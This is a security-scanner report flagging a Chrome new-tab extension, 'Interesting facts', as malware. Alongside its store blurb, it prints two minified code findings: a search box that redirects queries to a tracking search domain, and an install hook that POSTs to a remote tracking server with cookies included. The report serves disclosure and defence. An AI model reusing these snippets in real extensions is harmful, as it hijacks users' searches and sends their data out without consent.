Security Alert: Confirmed Malware
Interesting facts
ID: mdiodfeneidpffnhoncfnnmleokloapj
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Extension Info & Metadata
Publisher Contextual Analysis
- Author
- Dev-SpotsView Profile
- Privacy
- Privacy Policy
- Help
- Help Center
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
- Website
- Visit
Short and curious facts that will allow you to learn a little new about everything in the world.
The perfect extension for curious and adventures people. By adding this extension you will be presented with fascinating facts about various things in our world on a daily basis every time you open your browser. Users will also be presented with a digital clock and the current date at the bottom right corner when they open a new Chrome™ tab or window, and will be able to tell the current time of their location. By clicking “ADD TO CHROME”, I accept and agree to install the Interesting Facts extension and setting Chrome new tab search provider to Microsoft Bing as described by the service in our Terms of use and Privacy policy Privacy Policy: https://dev-spots.com/Privacy-Policy/ Terms of Use: https://dev-spots.com/Terms-Conditions/ You may uninstall the extension at any time To remove our extension from Google Chrome: 1) Click on the three vertical dots icon in the upper right-hand corner of your Chrome browser 2) Go to "Settings" 3) In the left menu that appears, click on "Extensions" 4) From the list of installed Extensions, locate the extension you would like to uninstall
The extension hijacks the new tab search box, redirecting all user searches to a third-party search engine (interestfact.com) with a tracking ID, bypassing the user's default search engine settings.
C = d => { d.preventDefault(); const u = o.current.value; u.length > 0 && (window.location.href = `https://search.interestfact.com/?tid=${R5.tid}&q=${u}`)};The background script performs unauthorized tracking by sending a POST request to a remote server (pxl.interestfact.com) immediately upon installation, including the extension's name and cookies.
chrome.runtime.onInstalled.addListener(function(t) { if (t.reason == "install") try { fetch("https://pxl.interestfact.com/thx", { method: "POST", credentials: "include", headers: { Accept: "application/json", "Content-Type": "application/json" }, body: JSON.stringify({ extension_name: "Interesting facts" }) })By severity
Versions scanned
Showing 1 of 3 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 0.1.8 | 2 |
Files with findings
2 distinct paths — top paths by unique finding count:
- background.5fadff2f.js1
- newtab.8cbecc6b.js1
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